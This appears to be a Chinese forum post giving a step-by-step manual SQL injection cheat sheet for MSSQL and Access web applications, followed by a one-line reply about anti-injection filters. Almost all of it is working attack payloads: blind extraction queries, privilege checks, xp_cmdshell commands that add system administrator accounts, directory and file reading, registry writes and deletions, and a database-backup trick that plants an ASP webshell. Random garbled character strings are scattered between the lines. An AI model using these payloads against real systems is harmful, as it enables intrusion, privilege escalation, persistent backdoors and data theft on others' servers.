手工脚本注入

admin

手工脚本注入
1.判断是否有注入;and 1=1 ;and 1=2

2.初步判断是否是mssql ;and user>0
9 M! x1 v& l$ R
3.注入参数是字符'and [查询条件] and ''='
; d9 C1 ~3 Y& Y* {; ^
4.搜索时没过滤参数的'and [查询条件] and '%25'='

0 S% {) d9 M- @, R5.判断数据库系统
- f' E6 p& L  Z4 G& S9 o$ |;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access

6.猜数据库 ;and (select Count(*) from [数据库名])>0
0 X( W- p0 n5 Y/ k
7.猜字段 ;and (select Count(字段名) from 数据库名)>0

8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
& l6 W9 P: J1 g$ T8 i
# Y! _" V+ D: p3 L9.(1)猜字段的ascii值（access）
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

(2)猜字段的ascii值（mssql）
6 H2 @. L. o, J2 Z6 ~* w;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
3 q: x* k1 l) O4 A! w  C
10.测试权限结构（mssql）
3 @) ]* S( L3 M  c& C7 t8 n;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
) U+ k% h& d& y& W$ w' e;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
* v# [* Y- s+ J' v- d; f1 G9 B;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
9 f! ~, r3 m1 h! a;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
( `1 [" a* y; D  s) v& x;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
- m9 I- [8 M* P4 @5 A( a;and 1=(select IS_MEMBER('db_owner'));--

11.添加mssql和系统的帐户
* a# [6 U- R3 G) i) @- X2 H;exec master.dbo.sp_addlogin username;--
6 l( ]; \/ d6 R; m7 M. {
2 d' a% e: k  v3 K5 [6 Y$ |( ];exec master.dbo.sp_password null,username,password;--
* I; w1 G2 e% d# Z  D0 Q5 b
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
! h. ]- w) e4 q7 g$ g5 C8 ^6 A0 a# Q
; w9 j+ z9 w* p: P  K* U;exec master.dbo.xp_cmdshell 'net user username password
9 j, ~& C& V# R, q/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
* `# M6 ~: ]) |/ |$ E  a4 t
& ]( e, r0 v5 q9 A3 @4 j0 Y;exec master.dbo.xp_cmdshell 'net user username password /add';--

5 }7 c( Q$ O$ b5 Q. [6 d;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
" v5 h5 g/ t" y
12.(1)遍历目录
/ P- I* P- P' ^; `# i7 _
$ y' o' W! w/ G' K;create table dirs(paths varchar(100), id int)
: ~$ a+ E9 K" W;insert dirs exec master.dbo.xp_dirtree 'c:\'
( ]! I( E% L" L5 n( x& r;and (select top 1 paths from dirs)>0
- u. i4 C- I* o3 D$ `6 Q1 b4 V;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)

( u( r% W: b: [$ h5 W* ~" T(2)遍历目录
- M& r& f3 S( G. ?' C( Y7 P. p;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
0 d% F7 a: m) v. [5 |# [; J;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容

2 \! `8 e5 O5 \3 F. f% }3 |13.mssql中的存储过程

: l4 C7 k# t3 Q0 g" `- V. M$ Jxp_regenumvalues 注册表根键, 子键
/ ^8 U; J0 l4 P4 n& H;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值

xp_regread 根键,子键,键值名
7 D: u# H4 ~9 \;exec xp_regread
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值

xp_regwrite 根键,子键, 值名, 值类型, 值
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
+ h5 \+ ~  {( F
7 b7 T+ D  s6 w% txp_regdeletevalue 根键,子键,值名

exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
5 Z. @% I1 _  q
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值

6 A% k, M" B* D14.mssql的backup创建webshell
use model
create table cmd(str image);
insert into cmd(str) values ('');
backup database model to disk='c:\l.asp';

* i$ o5 e- Q$ S* P0 {" h15.mssql内置函数
;and (select @@version)>0 获得Windows的版本号
# @0 V: w9 ?8 Y6 |+ _7 v;and user_name()='dbo' 判断当前系统的连接用户是不是sa
;and (select user_name())>0 爆当前系统的连接用户
( k- |8 }) N& M0 ^7 ?;and (select db_name())>0 得到当前连接的数据库

16.简洁的webshell

use model
9 \1 g2 G7 z$ y' C* V: j' N# e
create table cmd(str image);

: X! L7 E$ |- _$ Kinsert into cmd(str) values ('');
7 V( ~7 I6 b% Z! _6 s% |
' U$ ~! I) o2 A. |% t/ O( cbackup database model to disk='g:\wwwtest\l.asp';

- O9 _" k- N5 ?: |8 d% }  R

老男孩

现在很多防注入啊，有其他注入字符码